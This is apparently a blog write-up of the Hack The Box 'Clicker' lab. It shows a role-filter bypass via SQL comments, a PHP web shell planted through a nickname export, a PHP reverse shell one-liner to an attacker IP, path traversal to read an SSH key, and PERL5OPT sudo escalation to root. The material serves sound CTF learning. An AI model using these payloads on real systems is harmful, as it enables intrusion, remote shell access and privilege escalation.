Clicker – Hack The Box


This medium box was quite challenging but fun nonetheless. I’d say that it was in the higher-end medium category because of the uniqueness of the challenges for such a box level, alongside the research for each bit involved. The unpacking of this box began with a visible NFS mount that I could mount to my host. It contained the source code for the web app which allowed me to become admin after careful study of said code. Then followed the reverse shell, which was not that hard to obtain but still involved some thorough attention to detail. It involved substituting a parameter for a web shell code which, when visited inside the administrative panel where all nicknames were present, allowed for RCE. From there a simple URL-encoded php reverse shell was all it took to get on the target as www-data. As www-data I had the ability to run a binary as the user jack. In decompiling that code I found out that one could manipulate what the binary output to you, and I redirected the output to jack’s id_rsa key which allowed me to log in as him. From there, I ran sudo -l and found out i could run a bash script as root whilst being able to use the SETENV variable. The SETENV variable, after some googling, revealed that it could be manipulated, especially if there was perl in question. There were two perl libraries present so it didn’t take long to connect the dots and run a PoC and execute commands as root and escalate privileges.


NMAP


Nmap revealed the usual port 22, and 80 but also some rpcbind service ports which reminded me of a box I had done in the past that consisted of checking the public mountable points which could be mounted on my machine:


Checking & Mounting Mounts


The remote host contained a publicly mountable directory:

I mounted it with this command which made the mounted file reside in /mnt/nfs:

sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/nfs/

This exposed all the source code files for every page inside the web app:


Site Exploration


The site allowed me to register, login, and get some info (which wasn’t relevant).

Once in I could see two new options: Play and Profile:

Play allowed me to engage in playing a game where every certain amount of clicks allowed me to level up, save and close the game.

The profile then had the data of my progress from the game I just played:

From there I didn’t have much information on what I could do to move forward so I resorted to the source code after playing around with the website a bit and navigated to the save_game.php file to see the functionality of that particular page:

Let’s break down what this code is doing:

  1. if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {: This line checks if the PLAYER session variable exists and is not empty. It verifies whether the user is currently logged in (the PLAYER session variable likely stores the username or player identifier).
  2. $args = [];: Initializes an empty array called $args. This array will be used to store the valid GET parameters that are not related to the role parameter.
  3. foreach($_GET as $key=>$value) {: This initiates a loop that iterates through all the HTTP GET parameters.
  4. if (strtolower($key) === 'role') {: Within the loop, it checks if the name of the current GET parameter (converted to lowercase for case-insensitive comparison) is equal to ‘role’.
  5. header('Location: /index.php?err=Malicious activity detected!');: If the GET parameter ‘role’ is detected, it immediately redirects the user to the /index.php page with an error message in the URL query string indicating “Malicious activity detected!”
  6. die;: This line terminates the script execution immediately after the redirect, ensuring that no further code is executed.
  7. $args[$key] = $value;: If the GET parameter is not ‘role’, it adds the parameter and its value to the $args array. This effectively filters out the ‘role’ parameter from further processing.

In summary, this code snippet is designed to prevent users from modifying the ‘role’ GET parameter in the URL, as modifying such a parameter could lead to unauthorized privilege escalation or other security issues. If a user attempts to modify the ‘role’ parameter, they are immediately redirected with a warning message, and their request is halted.


Becoming Admin


Now, knowing that this source code file talks with db_utils.php, and that inherently there is a database which the web app talks to for its functions, after some research, I managed to understand that the parameter could be manipulated through SQL comments. What I had to think about was something that SQL ignores (comments) but that php will understand as part of the parameter and it so happened that /**/ could be used to tamper with the role key.

The final payload was the following:

POST /save_game.php?/**/role=Admin

Or:

POST /save_game.php?role/**/=Admin

It didn’t matter where I put the SQL comment. What did was that I inserted it where the key (role) was. This successfully saved the game and, as a consequence, attributed me the admin role.

After becoming admin I was opened the doors to the administrative panel which allowed me to export the top players:


Obtaining a Reverse Shell


The question was how to achieve a reverse shell from here.

Notice how there is a parameter named nickname under which there are all the nicknames for all players. My idea was to modify the nickname of whomever I had the session as (dada) (Whose role I changed to admin), and inject some code there.

The browser allowed for txt, json, and html exporting. But when capturing the request for when I clicked Export, I changed that to php because I knew I wanted to have a file ending in php where I could achieve something like exports/top_players_<random>.php?cmd=id and get command execution:

It took a bit but it was a combination of having to both interact with the save_game.php page by adding and injecting the nickname parameter’s value which would’ve changed the nickname admin to a url-encoded php web shell code (<?php system($_GET['cmd']);?>), and by also interacting with the export functionality inside the administrative panel where I could insert a PHP reverse shell (?cmd=url_encoded_reverse_shell) and get a foothold.

The steps were:

  1. become admin: /**/role=Admin – for it to take effect: log out and log back in
  2. Change nickname to: <?php system($_GET['cmd']);?># – for it to take effect: log out and log back in

3. Change the extension to php and export players (which contains dada’s newly created nickname which is the URL-encoded php web shell):

4. Visit the exported php file and add ?cmd=id to check whether a web shell was created:

From there, instead of id, insert a URL-encoded php reverse shell:

php -r '$sock=fsockopen("10.10.16.11",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

This allowed for a successful reverse shell creation:


Becoming User


Importing and running linpeas revealed an interesting binary owned by the user jack which had the suid bit set:

Decompiling that led to revealing that there are 5 uses for this binary.

    - 1: Creates the database structure and adds user admin
    - 2: Creates fake players (better not tell anyone)
    - 3: Resets the admin password
    - 4: Deletes all users except the admin
    - 5: Takes whatever input the user supplies after only if the numeric value goes above 4, and it accesses whatever file the user inputs starting from the /home/jack/queries/ directory. But if a path traversal character is included that points to the id_rsa file it would allow me to read it.

The view in Ghidra demonstrated this information after taking a look at the main function:

The private key was a bit unorganised to I simply fixed it by supplying 5 dashes on each side of where the private key began and ended:

-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----

This allowed me to easily SSH into jack:


Privilege Escalation


Running sudo -l showed me what type of permissions I had as jack

Notice how I can run sudo SETENV (which allows me to set an environment variable for whatever I wish) alongside /opt/monitor.sh.

These are the insides of monitor.sh:

This is what happens when I run monitor.sh as root:

Some googling led me to this article:

This particular section caught my eye as it was discussing some things relevant to perl which I thought could be of use because there were some perl libraries in the monitor.sh script:

This blog post delves into exploiting scripting language interpreters, focusing on Perl, by manipulating environment variables. It explores how arbitrary commands can be executed, with an emphasis on why a specific command works:

Exploiting Perl Environment Variables:

  • Introduction: The post discusses exploiting environment variables when limited to specifying them without control over the executed process or file contents.
  • Perl Exploitation: Perl offers PERL5OPT for setting command-line options. Although it has restrictions, such as disallowing -e for code execution, it still provides avenues for exploitation.
  • CVE-2016-1531 Exploitation: An example exploit for CVE-2016-1531 involved creating a malicious Perl module and setting PERL5OPT=-Mroot and PERL5LIB=/tmp. While effective, it required file system access.
  • Alternative Exploits: Another exploit utilized PERL5OPT=-d and PERL5DB=system("sh");exit;, avoiding file access for code execution.
  • Simplifying with -M: A more elegant approach is to use a single environment variable, PERL5OPT=-M, enabling code execution by loading a Perl module and appending additional code.
  • Main Focus – Execution Command: The post highlights a specific command but the way I’ll use it is without docker: sudo 'PERL5OPT=-Mbase;print(id)' /opt/monitor.sh. This command demonstrates arbitrary code execution within monitor.sh, showcasing how manipulating PERL5OPT can impact the script’s behavior.

In summary, this post explores the exploitation of Perl’s environment variables, with a particular emphasis on how sudo 'PERL5OPT=-Mbase;print(id)' /opt/monitor.sh can execute arbitrary commands within the monitor.sh script that is on the target machine, demonstrating the power of manipulating PERL5OPT.

So by adapting the PoC and by playing around with it, I was able to output the id of the root user:

To escalate privileges I tried simply adding the SUID bit on bash but I was being told that I couldn’t:

I played around with it a bit and found out it was a matter of spacing that tripped up the PERL5OPT environment variable, which didn’t recognise the space characters. So I used a hexadecimal representation of the space, became root, and obtained both flags: \x20.

This allowed me to become root and read both flags:


COMPLETED



Leave a comment